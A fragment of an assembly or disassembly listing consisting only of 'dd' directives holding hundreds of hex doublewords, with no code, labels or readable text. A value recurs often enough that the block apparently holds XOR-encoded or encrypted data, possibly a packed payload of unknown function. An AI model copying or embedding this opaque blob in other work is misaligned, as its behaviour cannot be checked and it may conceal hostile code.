		dd 728D6C12h, 0A133146Eh, 0B7248291h, 0AAF170EDh, 9446C591h
		dd 2B89A82Eh, 708489DCh, 9009710h, 9760D042h, 1DADD691h
		dd 7100A669h, 0E9DDFA10h, 11F03EF0h, 230DEC19h,	68653695h
		dd 308B3046h, 8AC37DAh,	79EF17F1h, 7EFF20F9h, 4D61C5B7h
		dd 82848A10h, 91009711h, 0B09E30F0h, 228B3044h,	4D61BEF2h
		dd 26848A25h, 7FDFB978h, 71008C91h, 0F0663710h,	7E3CFD63h
		dd 4D61CCB7h, 13848A26h, 7E009711h, 71009F88h, 7BE83710h
		dd 9D009710h, 234DCD0Bh, 0F4AB0D55h, 7E383886h,	71009684h
		dd 411C3810h, 75551507h, 18609710h, 71009705h, 0A8EE76E0h
		dd 3B9F2457h, 0DC9266CAh, 71009369h, 50545F10h,	4D61889Ah
		dd 82868A39h, 19DFB977h, 7100970Ah, 48EF0657h, 971FBB02h
		dd 218136A0h, 0BC744B58h, 39CE17EEh, 0B01C3774h, 752D1507h
		dd 0BBC99710h, 35B9FC82h, 44143976h, 34B93E07h,	47A3F581h
		dd 0FDB9FC81h, 8A73F955h, 2C6402D3h, 0D3F322F1h, 8C10130Dh
		dd 4419388Ah, 34B91E05h, 40A35D81h, 18B9FC81h, 558673EAh
		dd 51410A8Bh, 0B6202D55h, 9610D541h, 0B7C95DBDh, 35BA0060h
		dd 35BB8690h, 71B1FC81h, 28400BFBh, 95B9FC80h, 36480C7Ah
		dd 2AB9FC81h, 387BE5E3h, 0B5C8FC81h, 35B9FC82h,	0D3734E7Ah
		dd 0B6C2F1E2h, 37EC336Ah, 0E27B7DDEh, 0B6D670CEh, 0A12FE46Ah
		dd 67B7DA6h, 5E17017Ah,	48A3564Bh, 0A8B9FC81h, 0A5D26A75h
		dd 0B42721A8h, 8EA780C7h, 92179DE0h, 27F3D162h,	38338091h
		dd 87B5FC81h, 34DE0102h, 8FB9FC81h, 35BE7F90h, 3119FC81h
		dd 0EF0C5E7Eh, 34B9FC80h, 3114CDABh, 34B8766Bh,	0FE3FF281h
		dd 38078090h, 42A2FC81h, 8EB9FC81h, 38D660EDh, 5897D168h
		dd 43C8EF83h, 6817B20Eh, 85B20452h, 0F643CD0Ah,	0B6DE010Ch
		dd 35BA0145h, 0F4C95C81h, 35C8E64Ch, 8CE7FC81h,	754A6C12h
		dd 906CFB5Bh, 0C004AC64h, 8E0C4DE2h, 4413CC0Ah,	35B9FE0Ah
		dd 0BFC9F481h, 35B9FC99h, 35C7E5E1h, 9257FC81h,	507FD3A5h
		dd 0E4336C8h, 9B11A7EFh, 96F42E3Ah, 863BAED3h, 1D42AC36h
		dd 8F8A2CDBh, 0AA68F27Dh, 35C0E67Eh, 3D8BFC81h,	18782EAAh
		dd 35C3E5E2h, 141FFC81h, 4DDA46A4h, 8B7E626Eh, 96185DE1h
		dd 896FB6D3h, 7B10BF3h
		dd 519EF03h, 6BBAB8Ch, 0B6B325DCh, 0BC35126Ah, 35C5E5E0h
		dd 86B4FC81h, 0B8AA6F63h, 0D583E7C9h, 35BA6534h, 613AFC81h
		dd 86EDE6A5h, 59C625B9h, 1FDE0102h, 8EF24DB5h, 5D817E7Dh
		dd 0B6ED689Ah, 4F1D1F70h, 0B68925D9h, 4F1D1F48h, 5DA97DD9h
		dd 31ED689Ah, 33EBF3B3h, 0C2C9F3B3h, 35B9FC9Ah,	35BA116Ah
		dd 3DCA8C81h, 7C468F8h,	2C03C845h, 9686446h, 21A2D60Ch
		dd 2E5EF059h, 0E50A4F7Ah, 5D88B32Dh, 7C805547h,	0ACEA1F80h
		dd 1D1A5780h, 35B9FC8Ah, 875FCD0Ah, 106F7277h, 35BA086Ah
		dd 23A2B781h, 880B76D0h, 9FBFA306h, 21725ADAh, 96DF61FBh
		dd 6817920Eh, 42A30452h, 0BEB9FC81h, 0C7E2A670h, 21F07E43h
		dd 0BFCE7607h, 5623820Ch, 0BDC90452h, 35B9FC8Bh, 149AB5E1h
		dd 0C02063A7h, 0F53F5E5Bh, 35188190h, 0B7C8FC81h, 35B9FC82h
		dd 35BFE67Dh, 83C4FC81h, 0FB708ACEh, 6EBB206h, 9DB24389h
		dd 954A453h, 35BA0C6Bh,	57E7A581h, 0E12F2401h, 2AAF2BECh
		dd 25FE1145h, 3DEBB281h, 45A30452h, 0A4B9FC81h,	77C3347Bh
		dd 468567B9h, 762189CAh, 0C227AA79h, 960E706h, 34B6F189h
		dd 363E0C52h, 31B9FC81h, 352624EAh, 59CE8581h, 448AFC7Dh
		dd 35BA0C01h, 35C4E581h, 0ABA0FC81h, 0D8A3EE63h, 0D896E75Dh
		dd 0BAC9BD06h, 35B9FD15h, 0E23F887Dh, 2EC1CDB3h, 0BAC9BD07h
		dd 35B9FCD8h, 0BA80F97Dh, 3C8B2E36h, 1E22F1CDh,	3193D69Eh
		dd 3DEBB281h, 49A30452h, 1DB9FC81h, 721EB7D4h, 85009036h
		dd 8223E18Ah, 0E52B6A70h, 0C2CE2E62h, 960E706h,	363E0B89h
		dd 31B9FC81h, 49A3CD81h, 20B9FC81h, 411E9978h, 0D155E2ABh
		dd 62CC675Ch, 5B95549Eh, 851838DEh, 39BFDD0Ah, 62B9FC81h
		dd 35B9FC85h, 91DE0108h, 2DDE110Ah, 0BAAFCD81h,	423F0C41h
		dd 44B9FC81h, 35B9FE04h, 0DDA3F581h, 2AB9FC81h,	5E40820Bh
		dd 41A3045Ah, 0C4B9FC81h, 8D24364Bh, 0B9CAB8CFh, 8BF93088h
		dd 0FB3BE30Ah, 35B9FC85h, 0BCBEEB04h, 0BE1620B5h, 49A32085h
		dd 4CB9FC81h, 0ED3EEF81h, 0F3983EC0h, 0C1CCA078h, 0BE4566CBh
		dd 9DB0C129h, 35BA2BABh, 2ADE310Ah, 35C67E91h, 0BAC8FC81h
		dd 35B9FC87h, 35BA8390h, 0BA46FC81h, 3C8E9CF2h,	35BB8A90h
		dd 34AEFC81h, 0F5C5F552h, 35DD8190h, 1E19FC81h,	35B9FC96h
		dd 0A014110Ah, 2C3418AEh, 6EAFC7C1h, 54F0EE84h,	5F4E938Dh
		dd 1E1B54D7h, 35B9FC91h, 59FE867Dh, 951A5C9Dh, 977262E2h
		dd 961B5DD2h, 35C68990h, 0B9C8FC81h, 35B9FC87h,	35BA8990h
		dd 1E7CFC81h, 35B9FC90h, 457A80BCh, 0F9C20459h,	45C9B157h
		dd 951AAC72h, 9B44E201h, 96E5BA40h, 383C0BE1h, 9BB9FC81h
		dd 344D70Ch, 0BB4787E3h, 31C1D5AAh, 3507FBEAh, 59BE8581h
		dd 0F20F4E76h, 9855256Eh, 39DE68B2h, 22EF54DEh,	951D97AAh
		dd 2E45E40Bh, 71734DE3h, 0B6B9FC81h, 0C5EE6542h, 0B67AFD87h
		dd 0C5EE656Ah, 8EBAFF87h, 36480C7Dh, 2EB9FC81h,	3542AD81h
		dd 4944FC81h, 397E7FA5h, 0BD7562E1h, 0CA435E71h, 3C8B1DA2h
		dd 35C5E4E1h, 55F8FC81h, 50FA5448h, 88343CF1h, 353C0C65h
		dd 8EB9FC81h, 0F4C9F5E1h, 8B1B5E80h, 5FCFB7D4h,	0B6FD7610h
		dd 0CC21BB74h, 909885A0h, 8D28C302h, 0FB3B737Ah, 0AD6A67EAh
		dd 9A8DE302h, 233B380Eh, 4639FCDDh, 4418EC82h, 35BA0E03h
		dd 35C6E581h, 89D5FC81h, 160E9A67h, 0DBB4192Fh,	0A5B913CDh
		dd 0E379538Dh, 36D551D7h, 94BE20FDh, 0E3A47DDBh, 44D551D7h
		dd 35BA0A0Bh, 35C2E581h, 0C27AFC81h, 0F7C4F8F0h, 0CA43264Ah
		dd 3C8B289Ah, 35BA116Ah, 94ED5A81h, 16A34C5Ch, 29F996AAh
		dd 83DAECDBh, 4DD94D5h,	35C2E661h, 0C2C0FC81h, 6EC8A0E6h
		dd 69B978F7h, 0F93D54A5h, 47A35C85h, 8EB9FC81h,	9ED4A080h
		dd 6EC9D075h, 0BBE657C6h, 0E1428303h, 35C1E50Dh, 27CAFC81h
		dd 0FDEFA70Eh, 0F84562ADh, 0A9B95DD9h, 394520A5h, 397E7FA5h
		dd 35BA096Ah, 3E0F0281h, 2B1F23B1h, 9546AD28h, 0D9734DF6h
		dd 36FC3EFFh, 0FDE35649h, 7738A0AEh, 3C400BC3h,	44B9FC81h
		dd 35B9FE0Fh, 0BAF5F181h, 3C8B289Ah, 35017E90h,	43A2FC81h
		dd 0B4B9FC81h, 0EA6DE353h, 799932Ah, 70345508h,	35CBE660h
		dd 6880FC81h, 4BBA5177h, 7E45A723h, 8D395C38h, 708A964Eh
		dd 6DB1E06h, 473D0B89h,	1EB9FC81h, 35B9FC89h, 13FEC691h
		dd 961C78CAh, 35BEBF79h, 8BB35E7Ah, 6902253Fh, 592E85B8h
		dd 393B5A85h, 71D4A5h, 42A35D4Ah, 0E9B9FC81h, 9CD6E56Ah
		dd 37E78637h, 2882AF0Eh, 35BA0B6Bh, 0D51E7C81h,	0CBD5AB45h
		dd 5AF0D4EAh, 96636377h, 39DE4148h, 0A46337C7h,	39DE6942h
		dd 59267F86h, 81B8FD85h, 79B900A5h, 0A93B00A5h,	7E9300A5h
		dd 8CB1FFFEh, 0CAF046E9h, 59F687FDh, 35BEC102h,	1C3AFC81h
		dd 526C1C8Eh, 0B6BFEC42h, 0A52C7448h, 0C3817D93h, 0BEA6A78Dh
		dd 0C3C95C79h, 35B9FC8Dh, 35C08A90h, 0C3C8FC81h, 35B9FC81h
		dd 82C48A0Eh, 441A0452h, 35B9FF0Ah, 9B1B5C81h, 341BCB0Ch
		dd 41460C63h, 44B9FC81h, 35BA030Bh, 353D0B81h, 95B9FC81h
		dd 35D38590h, 49A2FC81h, 0EB9FC81h, 0FF7C623Dh,	3EDE1C1Fh
		dd 0BA5E86C2h, 0BC866962h, 86A21CFBh, 35B9FD3Ah, 87AAFD81h
		dd 35B9FD3Bh, 0BF83FD81h, 1E135683h, 35B9FC92h,	403D9E0Eh
		dd 0E8C7F154h, 4307CB0Bh, 562464C1h, 35BA0E6Ah,	3AEC8281h
		dd 963699BFh, 0BE97C77Ch, 0F5B0B39Bh, 1EF66713h, 36E38091h
		dd 71B1FC81h, 793E0C69h, 95B9FC82h, 4481ACE1h, 35B9FD06h
		dd 0BAC95D81h, 35B9FC84h, 96B487E7h, 0B9C90BBDh, 35B9FCE8h
		dd 35C28A90h, 0BFC8FC81h, 35B9FC83h, 0C4C95DE1h, 35B9FC82h
		dd 4487397Dh, 35BB8705h, 20F6F481h, 366F8091h, 8719FC81h
		dd 8F82B390h, 47A35DE2h, 8FB9FC81h, 0A78BC61Bh,	4AA7851Eh
		dd 88178386h, 20038432h, 0BEC9C03Ah, 35B9FC9Ch,	35CBE5E1h
		dd 0F4E1FC81h, 1F298781h, 4079558Fh, 24E0CA40h,	44CE6ACEh
		dd 871BC438h, 35B9FE3Bh, 82A47D81h, 36C592E9h, 827C7E73h
		dd 0BFC592E9h, 86AF569Bh, 20DAED36h, 0B8DE090Dh, 441A0145h
		dd 0BFC9BF38h, 35B9FC86h, 1CA07DE7h, 303A5E1Bh,	0BF3F0C02h
		dd 31B9FC80h, 0BEBEE905h, 2643208Dh, 2A13C80Bh,	35C0BAD8h
		dd 28BAFC81h, 0B6DE310Dh, 35BA0145h, 0EF0CF881h, 35B9FC83h
		dd 49F5E702h, 27BB369Eh, 49F5BF03h, 4FBD369Eh, 35CBE5DBh
		dd 0CEF4FC81h, 95EB9207h, 0B5F35D21h, 2EC49A15h, 1ED3697Eh
		dd 35B9FD1Ch, 35C2E5E1h, 3611FC81h, 56A41823h, 341B2E31h
		dd 5144FDF8h, 397E7DA5h, 44B9FC81h, 35B9FE03h, 0F31AF181h
		dd 8CA2BC6Fh, 30B57FE2h, 35928091h, 86B2FC81h, 0BE10EE0Ah
		dd 93AD864Fh, 47A3F1DAh, 8AB9FC81h, 0D09C2D1Fh,	1D605A99h
		dd 4FABF195h, 0BAC0D410h, 0F3104E7Ch, 88DD41C8h, 5E40CB02h
		dd 233B1AA1h, 94DD6A48h, 3618EE0Ah, 8ED30072h, 35C27D90h
		dd 0BBC8FC81h, 35B9FC83h, 0F4115DE1h, 35B9FC86h, 58D4E802h
		dd 30BB75E3h, 58D4C003h, 951975E3h, 0C020F70Ch,	0CFA35E4Fh
		dd 1EB9FC7Fh, 35B9FC91h, 7F1850D5h, 0FFA64995h,	0FFA1C619h
		dd 44105882h, 2EBB5B37h, 44E8E805h, 34B87505h, 45A3F981h
		dd 0B8B9FC81h, 82B409C6h, 98413803h, 0E3FBC186h, 1EDA8E0Fh
		dd 35B9FCB0h, 35BA036Ah, 0DEDF2781h, 0B5483FA7h, 44B7FDFFh
		dd 34B84506h, 35CDE681h, 0D034FC81h, 486DC154h,	37783F97h
		dd 20A22B41h, 62C15FABh
		dd 0E7A3F541h, 44B9FC7Dh, 35BA0901h, 3B440B81h,	44B9FC81h
		dd 35B9FD0Ah, 16434D81h, 35BEBE03h, 1E3CFC81h, 59C68386h
		dd 59EE85DDh, 35BA026Ah, 350A0381h, 0BE104BB3h,	39807E67h
		dd 0B8B9FC81h, 6941016Fh, 414358A5h, 0BE0DF1A5h, 397D7E64h
		dd 0B6B9FC81h, 35BA016Ch, 59D68381h, 59D685DDh,	383E0BE1h
		dd 44B9FC81h, 0F020F638h, 441BB351h, 35BA010Eh,	3455C81h
		dd 18434FE3h, 35BEC003h, 203AFC81h, 35B9FC86h, 91DE1908h
		dd 1EDE390Ah, 35B9FC91h, 745C39ECh, 1C713E0Dh, 29D0069Ah
		dd 2D493A68h, 42A3BCB3h, 0FAB9FC81h, 6C06C377h,	3F01283Ch
		dd 8B21793Ch, 36440C2Dh, 31B9FC81h, 0BEBEE905h,	0FB422095h
		dd 9514F009h, 6DD6B7E7h, 1EE0B4E7h, 39A67DE3h, 0BEB9FC81h
		dd 256F208Dh, 2A13E7A2h, 442AF802h, 35C04A05h, 44F6F881h
		dd 35B88090h, 49A2FC81h, 0E0B9FC81h, 71C26C5Ah,	0A829475Ch
		dd 0A593B78h, 0D4B921ABh, 1EB1522Dh, 35B9FC8Ch,	0A5805EB3h
		dd 739ED8C6h, 1EF612EFh, 40E38091h, 2A19FC81h, 0ECC95CE3h
		dd 711BF24Fh, 8C3E0C6Ch, 1EB9FC90h, 35B9FC8Bh, 0E38661E6h
		dd 0E6272BB4h, 449D391Ah, 35BE0A05h, 35C7E581h,	0D496FC81h
		dd 46CAEC3Bh, 0DDCD2981h, 71BCC6BFh, 113E0C63h,	1EB9FC92h
		dd 35B9FC88h, 0AE3FE8B7h, 69B98695h, 0F93B5BA5h, 35B9FC85h
		dd 3D480C7Dh, 95B9FC81h, 0ED205AD4h, 341B8BC5h,	0B61520B6h
		dd 35BA0145h, 0BBC95C81h, 35B9FC81h, 0CF99B33Fh, 41455DB2h
		dd 18434FA5h, 35BEC003h, 0F83CFC81h, 59D68385h,	0F4C95CDDh
		dd 1F3B6371h, 341B19C9h, 0B81820B6h, 0B7C90145h, 35B9FC98h
		dd 35BA0F6Ah, 2F786781h, 8FAFEE92h, 0C9425AE3h,	0E8CC04C6h
		dd 0F8589BA2h, 35BA086Ah, 0EF8E5A81h, 0E0383FD7h, 3F56994Fh
		dd 5F108248h, 35C0045Ah, 0EE19FC81h, 7B5E1045h,	96F2F101h
		dd 0BEBEE904h, 35722085h, 36B9FC81h, 8DD28771h,	0B9C952E1h
		dd 35B9FC81h, 969387DBh, 2A6D4FD3h, 0FE2E234h, 8F8D1CDDh
		dd 35C08690h, 8619FC81h, 96B187E0h, 35BA096Ah, 0DF13DA81h
		dd 6E7669D1h, 0EEDB8265h, 0B5B57CC1h, 34D68190h, 0BCC9FC81h
		dd 35B9FC8Dh, 35C08990h, 0BFC8FC81h, 35B9FC81h,	34B9BBD8h
		dd 33BBFC81h, 0C0B6F4E1h, 6D64E06h, 35C3E589h, 0F844FC81h
		dd 387CF0D3h, 0C02120AEh, 6DE6E16h, 233A5C89h, 0F786345h
		dd 0BE0A5DF3h, 0C07D8671h, 0F93B2085h, 35B9FC85h, 35C37F90h
		dd 0EE19FC81h, 9B92B4E6h, 0B61B9F36h, 35BA016Dh, 59BE8581h
		dd 35BA0339h, 8D7CFD81h, 35BA0F6Ah, 0B2772681h,	33D237CEh
		dd 0E076B3E2h, 11254845h, 875F9254h, 35B9FEE9h,	27BB5681h
		dd 1E141685h, 35B9FC8Ch, 0C491772h, 0A3B58188h,	0DF5B78Ah
		dd 35C47E91h, 70B2FC81h, 0A0400C5Bh, 2DB9FC7Fh,	5FBDE803h
		dd 30E33AD7h, 5FBDBBD9h, 30BB3AD7h, 47460BE1h, 1EB9FC81h
		dd 35B9FC8Fh, 14906DDCh, 0DB6B6C94h, 0CF14BA0Ah, 35CEE64Ah
		dd 0E54EFC81h, 0C35F3086h, 7411D8DFh, 6BAE636Ch, 6A15895Ah
		dd 0F20F3F20h, 35B9FC87h, 6145E7AAh, 397E7DA5h,	95B9FC81h
		dd 46A2D50Bh, 5EB9FC81h, 0BF1E6F4Fh, 23C2DE4Ah,	0B5E69A30h
		dd 0C5666942h, 961854D7h, 48A3A9E7h, 4BB9FC81h,	0FFBB5D1h
		dd 50E6BAC7h, 462C9A0Dh, 899BD9F3h, 0E020F416h,	66922E7Dh
		dd 44922E44h, 35BA0603h, 0B3B5C81h, 5694F81Fh, 44655E79h
		dd 35B9FE0Ch, 1E1AF881h, 35B9FC88h, 2C301F14h, 42A2C4EDh
		dd 40B9FC81h, 0E00F94C7h, 0C84AB520h, 97FC57F4h, 96135AD3h
		dd 35BEBBD8h, 33BAFC81h, 0B8DE390Dh, 0C0C90145h, 35B9FC8Dh
		dd 35C08A90h, 0BBC8FC81h, 35B9FC81h, 1EDE390Ah,	35B9FC94h
		dd 9544E1A1h, 0FCFDCC4h, 662EE533h, 417940B2h, 0C1C9F7B8h
		dd 35B9FC82h, 592E8676h, 0B61AF48Dh, 5EBEA541h,	35CDE5BCh
		dd 0A588FC81h, 88A62155h, 41DA7AB7h, 4CA0FB27h,	0B3E056F2h
		dd 0EA435E11h, 3C8B1E4Eh, 35D38590h, 4419FC81h,	35B9FD04h
		dd 35C6E581h, 0FFD6FC81h, 8EE4830h, 0F9D2CDD1h,	341B4A67h
		dd 0B61920B6h, 35BA0145h, 1E0C5C81h, 35B9FC96h,	0DE97A685h
		dd 0A273A08Fh, 6E52570Ch, 0EFB5289h, 168941B7h,	0D3B62DBh
		dd 441BD15Dh, 35BA090Fh, 3B440B81h, 44B9FC81h, 35B9FD08h
		dd 59EEFB81h, 397E7DDCh, 44B9FC81h, 35BA0F07h, 35C7E581h
		dd 0F8A0FC81h, 0DA165A8Fh, 0C1B88967h, 3420FC77h, 0B81320B6h
		dd 47A30145h, 47B9FC81h, 414A27D7h, 6302CD37h, 79422B21h
		dd 2A558A5h, 59EE881Ch,	0B6A185D8h, 35BA0148h, 39817D81h
		dd 0BCB9FC81h, 441620BDh, 35BA100Fh, 35C8E581h,	148FC81h
		dd 0C9AD8CDAh, 82E7BF47h, 2A16CAECh, 35BA076Bh,	20623281h
		dd 1CE517EBh, 8B76FB8Eh, 0FB3BE30Ah, 35B9FC85h,	68BEC304h
		dd 69EB20B5h, 59EE2FA5h, 3CA35CDDh, 57B9FC81h, 9020C570h
		dd 0F53A4E38h, 37A35DA1h, 95B9FC61h, 3FA38E34h,	0D2B9FC81h
		dd 94842982h, 0B006C729h, 0BA815D82h, 3C9326D7h, 35B9FC83h
		dd 35BA076Ah, 69B6DD81h, 57DC0393h, 8B717030h, 81DE0102h
		dd 0C0C6A9C9h, 0F93D209Dh, 81A57D85h, 95C6A9C9h, 449087E7h
		dd 35BA0D02h, 35C5E581h, 7D9DFC81h, 356CB233h, 56D30B45h
		dd 0EBC95E06h, 1B3A5C8Fh, 35C2E636h, 818CFC81h,	7FAC2B93h
		dd 441B5211h, 35BA0504h, 37470B81h, 95B9FC81h, 0B5B37CE2h
		dd 35157F90h, 0EA19FC81h, 9670B107h, 3A56C002h,	0F83B2612h
		dd 8D567230h, 203BC782h, 8D567231h, 3A56E802h, 0EF1A2612h
		dd 8D2B84BDh, 35BE8790h, 0EF1FFC81h, 1E1B0A9Dh,	35B9FC90h
		dd 0EA1909E9h, 0AEBD2B3Eh, 25F36D2Bh, 0F411F6C2h, 34B9FC80h
		dd 3119F7ABh, 35BA766Bh, 0B6C95C81h, 35B9FC81h,	4D5864E2h
		dd 4942FC81h, 5DB9B2A5h, 1E1A5772h, 35B9FC8Ah, 224AEF4Eh
		dd 38D3CD2Fh, 0B5B187E1h, 961BC068h, 35BAB7D4h,	0E2FC81h
		dd 5145D60Bh, 397E7FA5h, 0E721B2E1h, 0F00D5DA8h, 35B9FD80h
		dd 5145D5A2h, 397E7DA5h, 1EB9FC81h, 35B9FC8Ch, 77A27BB0h
		dd 202094A2h, 0F3100281h, 59AE4E1Dh, 5E18EFAAh,	0D17D7E4Ch
		dd 95DEF0D2h, 0DBBDB5E7h, 0BA455E76h, 3C8B18D2h, 0A64F8876h
		dd 44C1CDA5h, 35BA1205h, 44460B81h, 1EB9FC81h, 35B9FC8Ch
		dd 49BA5E9Dh, 0FD8530C4h, 0F23D6F93h, 3C8B2BBAh, 4E3E0B82h
		dd 1EB9FC85h, 35B9FC8Dh, 8CD98458h, 0EF49C409h,	6EEF4A00h
		dd 363C0C44h, 1EB9FC85h, 35B9FC96h, 0B01EA604h,	0A637D5BAh
		dd 729375A1h, 6D6DF7D9h, 95EC7F93h, 0B7C9CFBAh,	34B9F6EBh
		dd 35C18B91h, 0BDC8FC81h, 35B9FC82h, 35C7E679h,	0E88CFC81h
		dd 0DA0CF771h, 35C616DDh, 1E87721Fh, 35BA003Eh,	35BA066Ah
		dd 4796A781h, 80885CE0h, 0BA8105A6h, 3C9326D7h,	35B9FC83h
		dd 35BB7D90h, 2EB5FC81h, 0BE1752D7h, 9B1A5A6Ch,	441D3E40h
		dd 441BCB40h, 0B61A0B37h, 0BA1DB75Bh, 35C2E4D4h, 4147FC81h
		dd 898E9D55h, 40A3955Fh, 0EFB9FC81h, 0C1173341h, 0B3355020h
		dd 96183E14h, 443AF601h, 35BA3204h, 440B5C81h, 35B9FD09h
		dd 0B61B5581h, 93E69644h, 8A84FDB8h, 93E6963Eh,	92A525B8h
		dd 3679547Ah, 36B9FC81h, 1EB35C7Ch, 35B9FD1Ch, 30710BE1h
		dd 5621AB3Bh, 0E70C5DFEh, 0B57CFB7Bh, 0E60BF943h, 9A37CB2h
		dd 0FE3AD678h, 0DD7B7CADh, 3313C6A9h, 3C9CBD44h, 5D39BF01h
		dd 9DB65752h, 35B9FC81h, 9FDE2902h, 5EF56BDCh, 393B208Dh
		dd 0A41566A5h, 0BEC955BCh
		dd 35B9FC8Eh, 35BA056Ah, 0EC53E681h, 2288FDB0h,	34224F84h
		dd 90B9FC82h, 1E15D5A2h, 35B9FC8Bh, 3D55EF47h, 0B8367419h
		dd 0AEA57DF5h, 5EBE0EFEh, 1278534Ch, 0B602DEC8h, 44E7306Fh
		dd 0B690F38Dh, 100FFA4Fh, 37A8BDA9h, 0B540F302h, 28BB3A6Eh
		dd 0BA45F5E0h, 3C8B18D2h, 0A64F887Dh, 1EC1CDA5h, 35B9FC8Ch
		dd 7E01BCB2h, 3B6902Ch,	0F23D73F1h, 3C8B2BBAh, 0A23E0B82h
		dd 1EB9FC83h, 35B9FC8Fh, 74263751h, 0EE51D397h,	407FC3AFh
		dd 4492382Eh, 35BA1C03h, 0BDC95C81h, 35B9FC87h,	35BA8790h
		dd 6E1AFC81h, 0FC400C54h, 95B9FC79h, 8EE0AED8h,	968DBB90h
		dd 35BBB5D2h, 3E2FC81h,	35CCE5DBh, 0B01CFC81h, 37F0BC6Fh
		dd 49990509h, 0CC7BFD41h, 0A718C7Bh, 286A4CD3h,	0F512BE0Ah
		dd 263A0562h, 3B9BBCBFh, 0B5BCE641h, 0FD421C72h, 35CAE5DAh
		dd 0A041FC81h, 2D7512FCh, 86E9FF99h, 0BEBAC9CAh, 1E64DF88h
		dd 35B9FC93h, 8F75A4A7h, 71A529A9h, 836DEDADh, 706C1AA6h
		dd 0F00DF5D8h, 35B9FC81h, 0EF0CEF82h, 35B9FC81h, 3F44D682h
		dd 44A357DBh, 0CAB9FC81h, 0D055FCEh, 9999D4FAh,	0F5A9E6A2h
		dd 0EB0C3696h, 28425001h, 8F15D50Ah, 35BA026Ah,	2940C281h
		dd 0EC0D2A98h, 0C0B31C90h, 0F93D209Dh, 35C1E585h, 0F76EFC81h
		dd 3BE259FBh, 35C3E5C1h, 0DA0AFC81h, 391D751Ah,	3D51B17Fh
		dd 3164F249h, 327D7E77h, 5E1ACF9Fh, 3279547Ch, 5E1ACF9Fh
		dd 42A35C7Ch, 66B9FC81h, 0EE90CFEEh, 0C919A320h, 0C6DEA393h
		dd 35BEBAD7h, 0F83AFC81h, 572D2F66h, 203BEFAAh,	572D2F67h
		dd 35C4E5DFh, 72CEFC81h, 0CFFFBABDh, 0E787902Bh, 0F8EBD4B2h
		dd 47A3D4B2h, 0FFB9FC81h, 48A37E20h, 83A5C465h,	0F42C486Eh
		dd 41DBAAEBh, 3EA3A7F2h, 0F2B9FC81h, 90BEAA98h,	1763D5CEh
		dd 37734DD9h, 0BEB9FC81h, 33BB5650h, 36490BE1h,	2DB9FC81h
		dd 5687B20Bh, 2EB20452h, 64F38249h, 35BB0452h, 9B19FC81h
		dd 9B8C553Bh, 7DF5D302h, 35C3E5E2h, 0C5FDFC81h,	0B77CEA10h
		dd 8710EFEBh, 0F73BDF0Ah, 35B9FC85h, 35BEB4D1h,	0F7BAFC81h
		dd 59CE83D9h, 35C8E5DDh, 907AFC81h, 55FE40A9h, 0FBC31FD3h
		dd 278B45AEh, 90DE3181h, 35BEC102h, 34B2FC81h, 0B61320B6h
		dd 35BA0145h, 35C1E581h, 5644FC81h, 0C8EE8788h,	39A68058h
		dd 0BEDE090Ah, 397B7E62h, 0B8B9FC81h, 41410142h, 3BA358A5h
		dd 45B9FC81h, 0B2087784h, 1B435301h, 4BE2B6D4h,	0F73B5D7Dh
		dd 929B18D4h, 3685E702h, 0FB11706h, 523EE703h, 0F73B51CBh
		dd 2E5C4AB9h, 0B814D283h, 69410147h, 44B658A5h,	35B9FE07h
		dd 0A7A3F881h, 1EB9FC5Bh, 35B9FC8Eh, 0B76947E9h, 9576BB56h
		dd 0DC48C8C6h, 941853D7h, 44B883D0h, 35BA0406h,	363C0B81h
		dd 31B9FC81h, 0B5704ED5h, 28BAF134h, 352FACDCh,	0DFB65859h
		dd 35BA0C6Ah, 0DCD00B81h, 0B9FA1769h, 0D1FF2D38h, 332726DEh
		dd 0BEB185D9h, 59F68879h, 44BEC104h, 35BA0909h,	3B410B81h
		dd 44B9FC81h, 35B9FD09h, 0B1000181h, 2BF7908h, 5EBC868Fh
		dd 42872A79h, 7BE6FF0Bh, 953683FDh, 35BC7D90h, 2544FC81h
		dd 7201BBE8h, 0F20FF8E2h, 35B9FC85h, 6145E4AAh,	397E7FA5h
		dd 35C7E679h, 7628FC81h, 205A0E31h, 70BFAE23h, 0E03D3911h
		dd 35BA106Ah, 0CAFA8D81h, 0A0F36CCh, 76ABC6B9h,	0D4E208A3h
		dd 0F21D3BA0h, 0B61450D3h, 35BA0143h, 397C7F81h, 91DE1108h
		dd 35C58090h, 3BA2FC81h, 9AB9FC81h, 41EE2311h, 59D6881Bh
		dd 0B6A185D8h, 35BA0148h, 39817D81h, 0BCB9FC81h, 441620BDh
		dd 35B9FE09h, 4145F881h, 1B4352A5h, 35BEC303h, 0FB3AFC81h
		dd 35B9FC85h, 91DE3108h, 35C18490h, 0BBC8FC81h,	35B9FC82h
		dd 59EE887Ah, 0B69C85D3h, 35BA0143h, 397C7F81h,	91DE1108h
		dd 35BB8690h, 86B5FC81h, 0F63BDE0Ah, 35B9FC85h,	68BEBE04h
		dd 41EB208Dh, 59C62FA5h, 163B5CDDh, 4F1E5883h, 35BA0B6Ah
		dd 0E351D281h, 90901205h, 86F34008h, 962FEF11h,	3495D16Ah
		dd 0FCAFF681h, 0EE45306h, 35BA0189h, 413F0B81h,	1EB9FC81h
		dd 35B9FC89h, 0E3076B38h, 8B68B3C3h, 0ABA8B4D1h, 79EB45A4h
		dd 901200A5h, 0ABA8F002h, 0BDC945A4h, 35B9FC98h, 35BA0F6Ah
		dd 2169D181h, 451ABDAEh, 0C7B045B9h, 0E39A92B1h, 9DB5EB80h
		dd 35BA65CEh, 0EDDE010Ah, 35B9FC85h, 1E12BF82h,	35B9FC95h
		dd 184A24E8h, 0FE313814h, 9355D535h, 0AC6043C8h, 87585FCBh
		dd 35B9FD3Bh, 85ABFD81h, 35B9FD39h, 3889FD81h, 1E145499h
		dd 35B9FC8Ch, 45AD48C3h, 0B52F6FD6h, 441ADE71h,	35BA000Ch
		dd 9C847C81h, 0C01BED0Bh, 6D64E06h, 0C01AF589h,	0CA455E5Fh
		dd 3C8B20F2h, 4377527Ah, 0B638F3BEh, 3D7CEE46h,	92A7FE02h
		dd 35BA066Ah, 0F4B88D81h, 0AC22E007h, 0F23D1D4Dh, 3C8B2122h
		dd 3B3E0B82h, 95B9FC88h, 2F1B6D8h, 0ED124171h, 9309388Eh
		dd 449237E2h, 35BA4F03h, 0B7C95C81h, 35B9FC85h,	0F9E3B4E7h
		dd 96B6C601h, 39450BE1h, 9BB9FC81h, 1D66ED3Bh, 35B9FC8Ch
		dd 70CCBCF7h, 0B9191378h, 3345C975h, 0FF55DE1h,	36508291h
		dd 1E19FC81h, 35B9FC90h, 7B41E4EBh, 619689DDh, 0FDF4A092h
